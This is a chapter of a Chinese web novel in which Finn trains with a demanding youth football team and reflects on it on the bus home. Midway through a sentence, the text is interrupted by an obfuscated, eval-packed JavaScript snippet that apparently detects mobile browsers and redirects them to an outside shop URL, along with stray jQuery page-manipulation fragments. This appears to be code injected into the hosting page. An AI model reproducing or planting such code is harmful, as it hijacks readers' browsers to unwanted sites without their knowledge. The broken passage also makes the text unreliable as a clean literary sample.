芬恩和卡洛斯按照纸条上的地址，找到了“北风队”的训练地——河畔公园。
河畔公园的这块场地，和芬恩之前待过的任何地方都不同。橡树公园的野球场总是热闹得像个集市，孩子们追着球乱跑，笑声和叫骂声混作一团，雪地被踩得又脏又泥泞，从来没人清理，只剩下被无数脚印压实、在低温下凝结成脏污冰壳的表面，球在上面滚动时会发出古怪的、不可预测的弹跳。
但这里，“北风队”的领地，是被精心维护过的战场。边缘的积雪被铲得干干净净，堆在界外，像一道白色的矮墙。硬土场地虽然粗糙，却看不到大的冰凌或雪堆，只有一层被反复踩踏后均匀铺开的、冻得硬邦邦的浮土。两个简易球门线上的雪也被扫净，网子虽然破旧，却拉得笔直。
这种整洁本身，就是一种无声的宣言：这里不是嬉闹的地方。这里的一切，都有目的，有秩序。甚至场边沃伊切赫站着的那一小块区域，地面都格外平整，他的拐杖戳在那里，留下一个个清晰的小圆坑，像某种神秘的刻度。
这里确实没什么人围观，只有十几个年龄相仿的男孩，以及场边拄着拐杖、裹着旧羽绒服的沃伊切赫。
没有欢迎仪式，甚至没有点名。沃伊切赫用拐杖戳了戳地上的球，嘶哑的东欧口音在风里像砂纸摩擦：“热身。十圈。慢的加五圈。” 训练就这样开始了。
热身跑开始时，芬恩的呼吸在冷空气中化为白雾。他脚下的感觉也与之前截然不同。在橡树公园，你得时刻提防着隐藏的冰碴和突如其来的滑溜。而在这里，每一步踩下去，反馈都是坚硬而一致的，你可以信任地面，也必须因此承担自己每一步选择的结果——没有环境可以责怪，失误只能归于自身。
基本功练习时，芬恩的“狗屎技术”暴露无遗。简单的传接球，他的球总是跳弹、偏离。但没人嘲笑他，只是当他连续第三次没停好球时，和他一组的波兰裔大个子男孩（后来知道叫雅各布）皱了皱眉，用带着口音的英语简短地说：“脚弓。锁住。别怕球。”
不是教训，是指令。芬恩照做，下一次，球稍微听话了些。
真正让芬恩感到震撼的，是接下来的小范围战术演练。沃伊切赫把队伍分成三组，在一个狭窄的区域内进行“三对一”抢圈。规则简单：外围三人传球，中间一人抢断。但沃伊切赫的要求极其苛刻：
“一脚出球！思考下一脚在哪里，不是在接这一脚的时候想！”
“跑位！创造角度！你是死的吗？三角形！给我移动的三角形！”
“抢球的人，预判！不是追着球跑！压迫传球路线！”
芬恩第一次参与时，脑子完全跟不上。球传到他脚下，他像接到烫手山芋，匆忙出球，结果直接被中间的雅各布断下。沃伊切赫的拐杖重重顿地：“停！你，”他指着芬恩，“传球前，看了哪里？”
芬恩哑口。他看了接球队友，但没看抢球者的位置，也没看其他接应点。
“你只看了一个点。足球不是点对点电报，是雷达扫描。”沃伊切赫用拐杖在空中虚划，“接球前，头抬起来，像这样——”他做了一个快速摆头的动作，“左边，右边，后面，抢球的人在哪，你的出路在哪。一秒钟内，全部扫进去。然后，再做决定。”
芬恩的心脏猛地一跳。雷达扫描。这个词瞬间击中了他。这不就是他试图在脑中建立的“空间网格”的动态版本吗？但沃伊切赫将它变成了一个身体本能的要求，一个必须在电光石火间完成的信息收集与决策流程。
尽管他现在肺部刺痛，但头脑却异常清醒。这里没有橡树公园的喧闹和混乱带来的隐蔽感。这里的每一寸土地都被清理过，每一道目光都可能被评估，每一个错误都清晰可见。
这是一种冰冷的压力，也是一种奇异的解放。它剥去了所有外界的干扰和借口，将足球最核心的挑战赤裸裸地摆在他面前：你，只有你，你的技术，你的头脑，在这片被清理出来的、残酷而公平的战场上。
他弯下腰，双手撑住膝盖，感觉心脏在胸腔里沉重地擂鼓。这不是玩耍的欢腾，而是面对真实挑战时，血液奔流的声音。雪化了，掩盖的泥泖露了出来；而在这里，连泥泖都被扫净，只剩下你必须直面、无从躲闪的硬地。
接下来的训练，芬恩完全变了。他依然技术粗糙，失误频频。但他不再仅仅盯着球或眼前的队友。他开始强迫自己，在每一次触球前，执行那个“快速摆头”的动作，哪怕只是仓促的一瞥。他开始用眼睛去捕捉雅各布的重心偏移，去判断传球路线上是否有阴影切入，去用余光寻找那个理论上存在的、更安全的出球点。
他失误更多了，因为他的大脑在处理超额信息。沃伊切赫看在眼里，没表扬，但也没再单独吼他。有一次芬恩在压迫下，勉强把一个球捅给了远处无人盯防的卡洛斯（这其实更像是一次失误的解围），沃伊切赫吹停了练习，对所有人说：“看到没？有时候，最笨的解围，就是最好的传球。因为你看清了大图。” 他说这话时，目光似乎扫过芬恩，又似乎没有。
训练结束，所有人都累得说不出话，在寒冷的暮色里呼出白气。沃伊切赫简单总结了几句，重点批评了几个注意力不集中的人，然后挥挥手：“解散。周四继续。迟到加圈。”
回程的巴士晃晃悠悠，窗玻璃上凝着雾气。卡洛斯用袖子擦出一小片透明，往外望着迅速暗下来的街道，忽然用胳膊肘碰了碰芬恩。
“喂，”他声音压得很低，带着训练后的疲惫和一丝兴奋，“刚才沃伊切赫说‘看大图’的时候，是在说你吧？虽然你传得是有点……呃，歪。”他咧开嘴笑了，露出一口白牙，“但感觉不一样了。你跑位的时候，脑袋转得跟猫头鹰似的。”
芬恩正看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179347|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着自己球鞋边缘沾上的、河畔场地特有的暗红色冻土。听到卡洛斯的话，他愣了一下。他没想到有人会注意到这个，更没想到会是这种……带点笨拙的夸奖。他脸上没什么表情，只是手指无意识地抠着鞋边的一块泥。
“他说的有道理。”芬恩半晌才回了一句，声音干巴巴的。
“岂止有道理！”卡洛斯来了劲，模仿着沃伊切赫的口音和摆头的动作，“‘雷达扫描！’酷毙了。我光想着别丢球了，你居然真的在‘扫描’。”他摇摇头，靠回椅背，语气里是纯粹的佩服，“我就说你脑子跟我们长得不一样。在那种地方……”他指了指车窗外掠过的、霓虹开始闪烁的街区，“还能想这个。”
巴士在一个红灯前停住，引擎低声嗡鸣。芬恩看向窗外。便利店暖黄的光晕里，人影晃动；更远处，城市楼群的轮廓沉入铁灰色的天际线。寒冷、疲惫、口袋里减少的钱、依旧糟糕的技术……这些事实冰冷地存在着。
但此刻，身边是朋友絮絮叨叨、带着体温的认可；身体里还残留着高强度训练后酸胀的灼热感；脑海里则反复回放那个“雷达扫描”的指令，像一颗投入静水的石子，涟漪不断扩散，试图重组他理解脚下这片绿茵（或者说红土）的方式。
一种奇异的充实感，混着未褪尽的压力，沉甸甸地填在胃里。不那么舒适，却异常实在。
野心？他或许还不敢用这么确切的词。那更像是一种……隐约的、方向不明的饥渴。沃伊切赫和他身后那支沉默的“北风”，像在他面前推开了一扇门，门后不是天堂，而是一条更陡峭、更寒冷、但也更清晰的山路。他看到了路的艰难，却也第一次如此具体地看到了“往上走”的可能性。
压力没有消失，但它变了质地。从一种令人窒息的、无所不在的模糊威胁，变成了某种……可以攀爬的东西。就像这辆老旧巴士需要引擎的轰鸣和颠簸才能前进，他感到自己也需要这种粗糙的、来自更高标准的力量推着他，把他那套在图书馆里生长出来的、过于静态的“网格思维”，摔打、锻造，逼它学会在真正的风和尘土里存活、运转。
“嗯。”他又应了一声，目光从窗外收回，落在自己因寒冷而有些发红的手背上。那里还沾着一点场地的尘土。“是挺好。”
卡洛斯没再说什么，只是拍了拍他的肩膀，力道有点大，透着朋友间毫无保留的直率。巴士重新启动，载着他们驶向各自那个并不轻松、但此刻似乎有了些微不同光亮的夜晚。
芬恩靠着冰冷的车窗，闭上眼睛。身体的疲惫如潮水般涌上，但思绪的某个角落却异常活跃。野心在沉睡中缓缓翻身，尚未睁眼，却已听到了远方的风声。
风更冷了，但他心里那点因为花钱而产生的细微悔意，此刻被一种更灼热的东西取代：一种发现了真正值得征服的高山，并且隐约看到了山径入口的、战栗的渴望。